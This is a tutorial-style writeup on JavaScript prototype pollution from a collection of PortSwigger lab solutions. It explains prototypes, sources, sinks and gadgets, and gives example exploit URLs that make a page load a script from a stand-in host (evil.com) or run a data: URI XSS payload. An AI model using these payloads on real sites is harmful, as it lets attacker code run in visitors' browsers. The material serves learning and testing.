portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab โ€” from APPRENTICE to EXPERT โ€” covering all 30 vulnerability types.

View on GitHub

๐Ÿ›ก๏ธ JavaScript Prototype Pollution: A Deep Dive

๐Ÿ” What is Prototype Pollution?

Prototype pollution is a vulnerability in JavaScript where an attacker adds arbitrary properties to a global object prototype (like Object.prototype). These polluted properties are then inherited by all objects in the application, potentially leading to security issues such as:

image


๐Ÿ“ฆ JavaScript Prototypes & Inheritance

๐Ÿงฑ Objects in JavaScript

A JavaScript object is a collection of key-value pairs:

const user = {
  username: "wiener",
  userId: 1234,
  isAdmin: false
};

Properties can also be methods:

const user = {
  username: "wiener",
  exampleMethod: function() {
    // do something
  }
};

๐Ÿงฌ What is a Prototype?

Each object in JavaScript has a prototype โ€” an object it inherits from:

let myObject = {};
Object.getPrototypeOf(myObject); // โ†’ Object.prototype

Other built-in prototypes:


๐Ÿงญ How Inheritance Works

If a property is not found on an object, JavaScript looks up its prototype chain:

image

existingObject = { propertyA: 'A' }
myObject = Object.create(existingObject);

console.log(myObject.propertyA); // โ†’ 'A'

๐Ÿ›  Accessing & Modifying Prototypes

Every object has a special property: __proto__.

console.log(user.__proto__); // โ†’ Object.prototype

Modifying the prototype:

String.prototype.removeWhitespace = function() {
  return this.replace(/^\s+|\s+$/g, '');
};

"  test  ".removeWhitespace(); // โ†’ "test"

๐Ÿ’ฃ How Does Prototype Pollution Happen?

Prototype pollution often occurs during deep merge operations where unsanitized input is merged into an object:

// URL
https://site.com/?__proto__[transport_url]=//evil.com

// JSON
JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true

๐Ÿšฐ Pollution Components

โœ… Source

Where user-controlled input pollutes a prototype (e.g., query string, JSON, web messages).

โœ… Sink

Where polluted data is used (e.g., DOM manipulation, function calls, security checks).

โœ… Gadget

A property that connects the source to the sink in an exploitable way.


๐Ÿ’ฅ Example Exploit

let transport_url = config.transport_url || defaults.transport_url;

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

Exploit URL:

https://site.com/?__proto__[transport_url]=//evil.com

Or direct XSS via data: URI:

https://site.com/?__proto__[transport_url]=data:,alert(1);//

๐Ÿ”Ž Finding Prototype Pollution Vulnerabilities

๐Ÿงช Manual Testing

  1. Inject via URL:

    ?__proto__[foo]=bar
    ?__proto__.foo=bar
    
  2. Check in console:

    Object.prototype.foo // "bar"
    

โš™๏ธ Using DOM Invader (Burp Suite)


๐Ÿงฐ Finding Gadgets Manually

  1. Identify a potential gadget property used by the application.
  2. Use debugger to pause execution.
  3. Inject trace logic:

    Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
      get() {
        console.trace();
        return 'polluted';
      }
    });
    
  4. Step through and locate execution in a sink.